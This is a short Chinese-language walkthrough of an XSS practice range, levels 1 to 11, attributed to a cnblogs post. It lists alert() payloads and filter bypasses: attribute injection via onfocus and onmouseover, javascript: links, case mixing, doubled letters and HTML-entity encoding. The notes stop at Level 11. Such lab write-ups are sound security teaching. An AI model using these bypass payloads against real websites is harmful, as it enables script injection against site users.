XSS靶场

Level1

<script>alert(1)</script>

Level2:

有两处可利用
第二处测试:

"><script>alert(1)</script>

Level3:

如何判断<>被转义呢

onFocus是JavaScript的百里面的在对象获度得焦点时发生的事件,最简单的实例就是网页知的上的一个输入框,当使用鼠标点击该输入框使输入框被选中可以输入内容的时候就是该输入框获得焦点的时候,此时输入框就会触发onFocus事件。

' onfocus=alert('ok')//

Level4:

" onfocus=alert('ok')//

Level5:

" onfocus=alert('ok')// 继续用这个payload 发现onfocus被修改

只要含有on就会自动插入下划线
考虑其他属性标签
• autofocus onfocus=alert(1)
• autofocus onfocus=alert(1)//
• onbeforescriptexecute=alert(1)//
• onmouseover=alert(1)//
• autofocus onblur=alert(1)
这些都不能用了
换一个a标签

"><a href="javascript:alert('ok')">

Level6

href被过滤 on也被过滤了 尝试大小写绕过

" ONmouseover=alert(1)//

Level7

on href 都被过滤

" oonnmouseover=alert(1)//

Level8

script被过滤 变成scr_ipt
大小写无法绕过

使用HTML编码 &#x72->r

javasc&#x72ipt:alert('ok')

Level 9

必须包含http:// 提交其他会回显提交不合法

javasc&#x72ipt:alert('ok')// http://111

Level10

没有输入框 找到三个hiden

value的值会显示在页面上 插入属性
autofocus onblur=alert(1)

Level11

直接插入属性好像不太对

原文地址:https://www.cnblogs.com/rookieDanny/p/12802077.html